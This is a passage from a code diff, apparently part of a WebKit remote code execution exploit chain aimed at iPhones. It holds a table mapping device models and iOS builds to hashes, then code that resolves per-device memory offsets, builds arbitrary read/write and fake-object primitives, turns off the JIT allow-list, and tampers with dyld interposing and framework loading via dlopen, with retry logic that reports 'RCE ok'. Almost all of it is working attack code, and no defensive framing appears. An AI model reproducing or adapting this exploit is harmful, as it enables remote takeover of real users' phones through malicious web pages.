"6149d995753968891870832e3fec9195", +"iPhone17,4_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E240": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E252": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,2_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,3_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,4_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,5_22F76": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G86": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G90": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G100": "6149d995753968891870832e3fec9195", +}; + + const ios_parts = (function() { + const ua = navigator.userAgent; + let m = /iPhone OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); + if (!m) m = /CPU OS ([0-9_]+)/.exec(ua); + if (!m) { m = /Version\/(\d+)\.(\d+)/.exec(ua); if (m) return [parseInt(m[1], 10), parseInt(m[2], 10)]; } + if (m) return m[1].split('_').map(p => parseInt(p, 10)); + return null; + })(); + function _iosOffParts(p) { + if (!p || !p.length) return p; + if (p[0] >= 19) { + const minor = p[1] || 0; + if (minor >= 7 || p[0] >= 26) return [18, 7].concat(p.slice(2)); + if (minor >= 6 || p[0] >= 19) return [18, 6].concat(p.slice(2)); + return [18, 5].concat(p.slice(2)); + } + return p; + } + function _iosResolveKey(table, parts) { + const mapped = _iosOffParts(parts); + if (!mapped) return null; + for (let n = mapped.length; n >= 1; n--) { + const k = mapped.slice(0, n).join(','); + if (table[k] !== undefined) return k; + } + const prefix = mapped[0] + ','; + const keys = Object.keys(table).sort((a, b) => b.length - a.length); + for (const k of keys) { if (k.startsWith(prefix)) return k; } + return keys[0] || null; + } + function _linkeditBigInt(addr) { + if (typeof addr === 'bigint') return addr; + const s = String(addr); + return BigInt(s.endsWith('n') ? s.slice(0, -1) : s); + } + function _resolveLinkedit(iosKey, linkedit) { + const bucket = linkedit_to_device[iosKey]; + if (bucket && bucket[linkedit]) return bucket[linkedit]; + if (bucket) { + let best = null, bestD = null; + for (const addr of Object.keys(bucket)) { + const a = _linkeditBigInt(addr); + const d = linkedit > a ? linkedit - a : a - linkedit; + if (bestD === null || d < bestD) { bestD = d; best = bucket[addr]; } + } + if (best && bestD !== null && bestD < 0x4000000n) { + print('linkedit fuzzy dist=' + bestD.hex() + ' model=' + best); + return best; + } + } + for (const fk of Object.keys(linkedit_to_device)) { + const b = linkedit_to_device[fk]; + if (b && b[linkedit]) return b[linkedit]; + } + return null; + } + const ios_version = _iosOffParts(ios_parts) ? _iosOffParts(ios_parts).join(',') : '18,6'; + const ios_stub_key = _iosResolveKey(pthread_create_auth_stubs_offset, ios_parts); + const ios_pthread_key = _iosResolveKey(pthread_create_offset, ios_parts); + const ios_linkedit_key = _iosResolveKey(linkedit_to_device, ios_parts); + print(`ios_version: ${ios_version} ua=${ios_parts} keys=${ios_stub_key}/${ios_pthread_key}/${ios_linkedit_key}`); + const pthread_create_got = BigInt(parse_adrp_add(jsc_base + pthread_create_auth_stubs_offset[ios_stub_key])); + print(`pthread_create_got: ${pthread_create_got.hex()}`); + const pthread_create = read64(pthread_create_got).noPAC(); + print(`pthread_create: ${pthread_create.hex()}`); + const libsystem_pthread_base = pthread_create - pthread_create_offset[ios_pthread_key]; + print(`libsystem_pthread_base: ${libsystem_pthread_base.hex()}`); + const libsystem_pthread_linkedit = read64(libsystem_pthread_base + 0x600n); + print(`libsystem_pthread_linkedit: ${libsystem_pthread_linkedit.hex()}`); + device_model = _resolveLinkedit(ios_linkedit_key, libsystem_pthread_linkedit); + if (!device_model) device_model = _resolveLinkedit(ios_stub_key, libsystem_pthread_linkedit); + print("device_model: " + device_model); + if (!device_model || !rce_offsets[device_model]) { + print('unsupported device/build linkedit=' + libsystem_pthread_linkedit.hex(), true); + throw new Error('unsupported device/build'); + } + chipset = device_chipset[device_model]; + offsets = rce_offsets[device_model]; + slide = globalFuncParseFloat - offsets.JavaScriptCore__globalFuncParseFloat; + print(`slide: ${slide.hex()}`); + for (const key of Object.keys(offsets)) { + if (offsets[key] >= 0x100000000n) offsets[key] += slide; + } + write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn); + write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n); + const contexts = read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + const contexts_length = read32(contexts - 4n); + print(`contexts_lenght:${contexts_length.hex()}`); + let worker; + + for (let i = 0n; i < contexts_length; ++i) { + const scriptExecutionContext = read64(contexts + 0x30n * i + 0x20n); + if (!scriptExecutionContext) + continue; + + const vtable = read64(scriptExecutionContext); + //print(`vtable: ${vtable.noPAC().hex()} offset:${offsets.WebCore__DedicatedWorkerGlobalScope_vtable.hex()}`); + if (vtable.noPAC() != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) + continue; + + const id = read64(scriptExecutionContext + 0x138n); + if (id > maximum_id) { + maximum_id = id; + worker = scriptExecutionContext; + } + } + + print(`worker: ${worker.hex()}`); + + const script = read64(worker + 0x150n); + const workerOrWorkletThread = read64(worker + 0x160n); + const Strong_globalScopeWrapper = read64(script + 0x20n); + const globalScopeWrapper = read64(Strong_globalScopeWrapper); + const worker_global_butterfly = read64(globalScopeWrapper + 8n); + print(`butterfly:${worker_global_butterfly.hex()}`); + const unboxed_arr = read64(worker_global_butterfly); + const boxed_arr = read64(worker_global_butterfly + 8n); + const butterfly = read64(boxed_arr + 8n); + write64(unboxed_arr + 8n, butterfly); + print("Finished stage1 prim succesfully"); + } + function setup_stage2_prim() + { + p.addrof = function addrof(o) { + boxed_arr[0] = o; + return BigInt.fromDouble(unboxed_arr[0]); + } + p.fakeobj = function fakeobj(addr) { + unboxed_arr[0] = addr.asDouble(); + return boxed_arr[0]; + } + let scribble_element; + let scribbles = []; + let prev_addr = 0n; + for (let i = 0; i < 500; ++i) { + let o = { + p1: 1.1, + p2: 2.2 + }; + if (p.addrof(o) - prev_addr === 0x20n) { + scribble_element = o; + break; + } + scribbles.push(o); + prev_addr = p.addrof(o); + } + let change_scribble_holder = { + p1: p.fakeobj(0x108240700000000n), + p2: scribble_element + }; + let change_scribble = p.fakeobj(p.addrof(change_scribble_holder) + 0x10n); + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = p.fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + p.write64 = function (addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = p.fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = p.read64(off_addr); + let [hi, lo] = value.asInt32s(); + scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + p.write64(off_addr, off_val); + } + }; + p.write16 = function (ptr, u16) { + let value = p.read64(ptr); + value &= ~0xffffn; + value |= u16; + p.write64(ptr, value); + }; + change_scribble[1] = p.addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + change_scribble[1] = p.addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + p.read64 = function (addr) { + read64_biguint64arr[1] = addr; + return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n | BigInt(read64_str.charCodeAt(2)) << 32n | BigInt(read64_str.charCodeAt(3)) << 48n; + }; + p.read32 = function (addr) { + read64_biguint64arr[1] = addr; + return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n; + }; + p.write8 = function (ptr, u16) { + let value = p.read64(ptr); + value &= ~0xffn; + value |= u16; + p.write64(ptr, value); + }; + p.device_model = device_model; + p.chipset = chipset; + globalThis.device_model = p.device_model; + p.offsets = offsets; + p.slide = slide; + print("Finished stage2 prims succesfully, rce done"); + self.postMessage({ + type: 'prepare_dlopen_workers' + }); + } + setup_stage1_prim(p_rce); + setup_stage2_prim(); + } catch (e) { + print('stage1_prim error: ' + e); + } + return p_rce; +} +async function main() { + print("begin"); + const MAX = 15; + for (let attempt = 1; attempt <= MAX; attempt++) { + try { + const p = await _aarw_main(); + if (p && p.addrof) { + print(`RCE ok on attempt ${attempt}`); + return p; + } + print(`Failed rce attempt ${attempt}/${MAX}`); + } catch (e) { + print('_aarw_main: error: ' + e + ` (${attempt}/${MAX})`); + } + } + print("Failed rce, exhausted retries"); +} + const rce_begin = Date.now(); + class Encoder { + constructor(messageName, destinationID) { + this.argList = []; + if (arguments.length) { + this.messageName = messageName; + this.destinationID = destinationID; + this.encode('uint8_t', 0); + this.encode('uint16_t', this.messageName); + this.encode('uint64_t', this.destinationID); + } + } + encode(type, value) { + this.argList.push({ + type, + value + }); + return this; + } + encode8BitString(str) { + this.encode('uint32_t', str.length); + this.encode('bool', true); + this.argList.push({ + type: 'bytes', + value: str + }); + return this; + } + encodeNullString() { + this.encode('uint32_t', 0xffffffff); + return this; + } + static argumentAlignment(arg) { + switch (arg.type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + case 'float': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + case 'bytes': + return 0; + default: + ASSERT_NOT_REACHED(`Encoder.argumentAlignment(): unexpected type name: ${arg.type}`); + } + } + static argumentSize(arg) { + switch (arg.type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + case 'float': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + case 'bytes': + if (typeof arg.value == 'string') { + return arg.value.length; + } else { + return arg.value.byteLength; + } + default: + ASSERT_NOT_REACHED(`argumentSize(): unexpected type name: ${arg.type}`); + } + } + buffer() { + if (this.__buffer) return this.__buffer; + let bufferSize = 0; + for (const arg of this.argList) { + const alignment = Encoder.argumentAlignment(arg); + const remainder = bufferSize % alignment; + if (remainder) { + bufferSize += alignment - remainder; + } + bufferSize += Encoder.argumentSize(arg); + } + const buffer = new ArrayBuffer(bufferSize); + const view = new DataView(buffer); + let bufferOffset = 0; + for (const arg of this.argList) { + const alignment = Encoder.argumentAlignment(arg); + const remainder = bufferOffset % alignment; + if (remainder) { + bufferOffset += alignment - remainder; + } + switch (arg.type) { + case 'float': + view.setFloat32(bufferOffset, arg.value, true); + break; + case 'uint64_t': + view.setBigUint64(bufferOffset, arg.value, true); + break; + case 'int64_t': + view.setBigInt64(bufferOffset, arg.value, true); + break; + case 'uint32_t': + view.setUint32(bufferOffset, arg.value, true); + break; + case 'int32_t': + view.setInt32(bufferOffset, arg.value, true); + break; + case 'uint16_t': + view.setUint16(bufferOffset, arg.value, true); + break; + case 'int16_t': + view.setInt16(bufferOffset, arg.value, true); + break; + case 'uint8_t': + view.setUint8(bufferOffset, arg.value); + break; + case 'int8_t': + view.setInt8(bufferOffset, arg.value); + break; + case 'bool': + view.setInt8(bufferOffset, !!arg.value); + break; + case 'bytes': + const buffer_u8 = new Uint8Array(buffer); + if (typeof arg.value == 'string') { + for (let i = 0; i < arg.value.length; ++i) buffer_u8[bufferOffset + i] = arg.value.charCodeAt(i); + } else { + for (let i = 0; i < arg.value.byteLength; ++i) buffer_u8[bufferOffset + i] = arg.value[i]; + } + break; + default: + ASSERT_NOT_REACHED(`buffer(): unexpected type name: ${arg.type}`); + } + bufferOffset += Encoder.argumentSize(arg); + } + return this.__buffer = buffer; + } + }; + ArrayBuffer.prototype.data = function () { + return p.read64(p.read64(p.addrof(this) + 0x10n) + 0x10n); + }; + BigUint64Array.prototype.data = function () { + return p.read64(p.addrof(this) + 0x10n); + }; + Uint8Array.prototype.data = function () { + return p.read64(p.addrof(this) + 0x10n); + }; + async function loadObjcClass(cls) { + const bitmap = await createImageBitmap(canvas); + const wrappedBitmap = p.read64(p.addrof(bitmap) + 0x18n); + const imagebuffer = p.read64(wrappedBitmap + 0x10n); + p.write64(imagebuffer + 0x20n, cls); + bitmap.close(); + } + let slow_fcall_resolve; + self.onmessage = async function (e) { + const data = e.data; + switch (data.type) { + case 'dlopen_workers_prepared': + { + print("dlopen prepared from worker"); + const { + offsets + } = p; + const contexts = p.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + print(`contexts: ${contexts.hex()}`); + const contexts_length = p.read64(contexts - 8n) >> 32n; + print(`contexts_length: ${contexts_length.hex()}`); + const dlopen_workers = []; + p.dlopen_workers = dlopen_workers; + for (let i = 0n; i < contexts_length; ++i) { + const ptr = contexts + i * 0x30n; + const key = p.read64(ptr); + if (!key) continue; + const context = p.read64(ptr + 0x20n); + const vtable = p.read64(context).noPAC(); + if (vtable != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) continue; + const script = p.read64(context + 0x150n); + const workerOrWorkletThread = p.read64(context + 0x160n); + const thread = p.read64(workerOrWorkletThread + 0x28n); + const Strong_globalScopeWrapper = p.read64(script + 0x20n); + const globalScopeWrapper = p.read64(Strong_globalScopeWrapper); + const butterfly = p.read64(globalScopeWrapper + 8n); + const id = p.read64(butterfly); + const bitmap = p.read64(butterfly + 8n); + if (id == 0xfffe000011111111n || id == 0xfffe000022222222n) { + p.dlopen_workers.push({ + thread: thread, + id: id, + bitmap: bitmap + }); + } else if (id == 0xfffe000033333333n) { + p.sub_worker = { + thread: thread, + id: id + }; + } + } + const defaultLoader = p.read64(offsets.AXCoreUtilities__DefaultLoader); + print(`defaultLoader: ${defaultLoader.hex()}`); + if (defaultLoader) { + const paciza_nullfunc = p.read64(offsets.WebCore__softLinkDDDFACacheCreateFromFramework); + print(`paciza_nullfunc: ${paciza_nullfunc.hex()}`); + const dispatchSource = p.read64(defaultLoader + 0x18n); + print(`dispatchSource: ${dispatchSource.hex()}`); + const dispatchSomething = p.read64(dispatchSource + 0x58n); + print(`dispatchSomething: ${dispatchSomething.hex()}`); + const dispatchBlock = p.read64(dispatchSomething + 0x28n); + print(`dispatchBlock: ${dispatchBlock.hex()}`); + p.write64(dispatchBlock + 0x20n, paciza_nullfunc); + } + const classes = [offsets.TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker]; + for (let i = 0; i < 2; ++i) { + const worker = dlopen_workers[i]; + const wrappedBitmap = p.read64(worker.bitmap + 0x18n); + print(`wrappedBitmap: ${wrappedBitmap.hex()}`); + const imageBuffer = p.read64(wrappedBitmap + 0x10n); + print(`imageBuffer: ${imageBuffer.hex()}`); + p.write64(imageBuffer + 0x20n, classes[i]); + } + print('Load TextToSpeech'); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest); + print('TextToSpeech Loaded'); + const NSBundleTables = p.read64(offsets.Foundation__NSBundleTables_bundleTables_value); + print(`NSBundleTables: ${NSBundleTables.hex()}`); + const loadedFrameworks = p.read64(NSBundleTables + 0x20n); + print(`loadedFrameworks: ${loadedFrameworks.hex()}`); + const loadedFrameworks_length = p.read64(loadedFrameworks + 0x30n); + print(`loadedFrameworks_length: ${loadedFrameworks_length.hex()}`); + const loadedFrameworks_buffer = p.read64(loadedFrameworks + 8n); + print(`loadedFrameworks_buffer: ${loadedFrameworks_buffer.hex()}`); + let TextToSpeech_NSBundle; + for (let i = 0n; i < loadedFrameworks_length; ++i) { + const bundle = p.read64(loadedFrameworks_buffer + 8n * i); + if (bundle <= 0x1_00000000n) continue; + if (i === 0n || (i & 0xffn) === 0n) { + print(`bundle scan progress i=${i} / ${loadedFrameworks_length}`); + } + const initialPath = p.read64(bundle + 0x28n); + if (initialPath != offsets.AVFAudio__cfstr_SystemLibraryTextToSpeech) continue; + TextToSpeech_NSBundle = bundle; + break; + } + if (!TextToSpeech_NSBundle) { + print('TextToSpeech_NSBundle not found after bundle scan', true); + self.postMessage({ type: 'stage1_failed', reason: 'bundle_scan' }); + break; + } + print(`TextToSpeech_NSBundle: ${TextToSpeech_NSBundle.hex()}`); + const TextToSpeech_CFBundle = p.read64(TextToSpeech_NSBundle + 0x10n); + print(`TextToSpeech_CFBundle: ${TextToSpeech_CFBundle.hex()}`); + p.TextToSpeech_NSBundle = TextToSpeech_NSBundle; + p.TextToSpeech_CFBundle = TextToSpeech_CFBundle; + p.write64(TextToSpeech_NSBundle + 8n, 0x40008n); + p.write8(TextToSpeech_CFBundle + 0x34n, 0n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libARI_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x15n); + p.write64(TextToSpeech_CFBundle + 0x68n, offsets.CFNetwork__gConstantCFStringValueTable); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + self.postMessage({ + 'type': 'trigger_dlopen1' + }); + break; + } + case 'check_dlopen1': + { + const { + offsets + } = p; + const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000011111111n); + print(`worker.thread: ${worker.thread.hex()}`); + const runtimeState = p.read64(offsets.libdyld__gAPIs); + p.runtimeState = runtimeState; + print(`runtimeState: ${runtimeState.hex()}`); + const runtimeState_vtable = p.read64(runtimeState).noPAC(); + print(`runtimeState_vtable: ${runtimeState_vtable.hex()}`); + const dyld_emptySlot = p.read64(runtimeState_vtable).noPAC(); + print(`dyld_emptySlot: ${dyld_emptySlot.hex()}`); + const runtimeStateLock = p.read64(runtimeState + 0x70n); + print(`runtimeStateLock: ${runtimeStateLock.hex()}`); + p.runtimeStateLock = runtimeStateLock; + const p_InterposeTupleAll_buffer = runtimeState + 0xb8n; + p.p_InterposeTupleAll_buffer = p_InterposeTupleAll_buffer; + const p_InterposeTupleAll_size = runtimeState + 0xc0n; + p.p_InterposeTupleAll_size = p_InterposeTupleAll_size; + print(`p_InterposeTupleAll_buffer: ${p_InterposeTupleAll_buffer.hex()}`); + const stack_bottom = p.read64(worker.thread + 0x10n); + worker.stack_bottom = stack_bottom; + print(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = p.read64(worker.thread + 0x18n); + worker.stack_top = stack_top; + print(`stack_top: ${stack_top.hex()}`); + p.create_jsstring = function (ptr, size) { + const res = 'a'.repeat(8); + const str = p.read64(p.addrof(res) + 8n); + p.write64(str, size << 32n | 0x1000n); + p.write64(str + 8n, ptr); + return res; + }; + p.efficient_search = function (begin, end, bytes) { + const needle = String.fromCharCode(...bytes); + const finder = p.create_jsstring(begin, end - begin); + while (true) { + const index = finder.indexOf(needle); + if (index != -1) { + print(`index:${index}`); + return begin + BigInt(index); + } + } + }; + const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide; + print(`dyld_offset: ${dyld_offset.hex()}`); + p.dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset; + print(`p.dlopen_from_lambda_ret: ${p.dlopen_from_lambda_ret.hex()}`); + print(p.read64(p.dlopen_from_lambda_ret).hex()); + u64[0] = p.dlopen_from_lambda_ret; + const needle = [u8[0], u8[1], u8[2], u8[3]]; + const search_result = p.efficient_search(stack_top, stack_bottom, needle); + print(`search_result:${search_result.hex()}`); + const loader = search_result + 0x78n; + print(`loader:${loader.hex()}`); + const interposingTuples = new BigUint64Array(0x100 * 2); + p.interposingTuples = interposingTuples; + const interposingTuples_data_ptr = interposingTuples.data(); + print(`interposingTuples_data_ptr:${interposingTuples_data_ptr.hex()}`); + const prev_metadata = new BigUint64Array(4); + const prev_metadata_data_ptr = prev_metadata.data(); + p.prev_metadata = prev_metadata; + p.prev_metadata_data_ptr = prev_metadata_data_ptr; + print(`prev_metadata_data_ptr:${prev_metadata_data_ptr.hex()}`); + prev_metadata[0] = prev_metadata_data_ptr; + prev_metadata[1] = 1n; + const metadata = new BigUint64Array(4); + const metadata_data_ptr = metadata.data(); + print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); + p.metadata1 = metadata; + metadata[0] = prev_metadata_data_ptr; + metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n; + p.write64(loader, p_InterposeTupleAll_buffer - 0x10n); + p.write64(loader + 8n, metadata_data_ptr + 0x10n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + 